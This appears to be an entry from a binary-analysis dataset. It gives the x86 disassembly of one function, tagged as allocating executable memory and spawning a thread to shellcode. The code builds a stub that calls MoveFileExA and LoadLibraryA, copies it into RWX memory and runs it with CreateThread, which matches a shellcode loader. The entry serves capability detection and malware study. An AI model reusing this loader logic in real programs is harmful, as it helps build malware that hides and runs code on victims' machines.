Function at 0x10002e8d
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x12d], al
mov byte [ebp - 0x116], 0xe8
mov byte [ebp - 0x117], 0x90
mov eax, 0x100031e5
mov dword [ebp - 0x110], eax
mov eax, 0x100031b1
sub dword [ebp - 0x110], eax
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 8]
mov dword [0x100109b0], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
push 0x3000
push dword [ebp - 0x110]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x140], eax
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push dword [ebp - 0x140]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x11c], eax
push 0x40
push 0x3000
push 0x100
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x13c], eax
push 0x40
push 0x3000
push 0x100
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x134], eax
xor eax, eax
inc eax
imul eax, eax, 0x12
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x13c]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x124]
mov al, byte [eax]
mov byte [ebp - 0x11d], al
inc dword [ebp - 0x124]
cmp byte [ebp - 0x11d], 0
jne 0x10002f95
mov eax, dword [ebp - 0x124]
sub eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
push dword [ebp - 0x148]
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x13c]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
xor eax, eax
inc eax
imul eax, eax, 0x19
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x134]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x128]
mov al, byte [eax]
mov byte [ebp - 0x11e], al
inc dword [ebp - 0x128]
cmp byte [ebp - 0x11e], 0
jne 0x1000300d
mov eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
push dword [ebp - 0x150]
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x134]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
xor eax, eax
mov byte [ebp - 0x11f], al
lea ecx, [ebp - 0x11f]
call fcn.10003206
mov dword [ebp - 0x138], eax
push 0x5c
pop edx
mov ecx, dword [ebp - 0x134]
call fcn.10002d47
inc eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x138]
mov al, byte [eax]
mov byte [ebp - 0x115], al
mov eax, dword [ebp - 0x12c]
mov cl, byte [ebp - 0x115]
mov byte [eax], cl
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp byte [ebp - 0x115], 0
jne 0x10003091
xor eax, eax
inc eax
imul eax, eax, 0x26
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x13c]
mov dword [ecx + eax], edx
xor eax, eax
inc eax
imul eax, eax, 0x1e
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x116]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x1e
add eax, dword [ebp - 0x11c]
push eax
push dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x109]
call fcn.100031f6
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x1f
mov edx, dword [ebp - 0x11c]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x23
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x117]
mov byte [ecx + eax], dl
xor eax, eax
inc eax
imul eax, eax, 0x2b
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x116]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x2b
add eax, dword [ebp - 0x11c]
push eax
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x109]
call fcn.100031f6
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x2c
mov edx, dword [ebp - 0x11c]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x30
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x117]
mov byte [ecx + eax], dl
push 0
push 0
push 0
push dword [ebp - 0x140]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x100031e5
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bbcb
leave
ret 4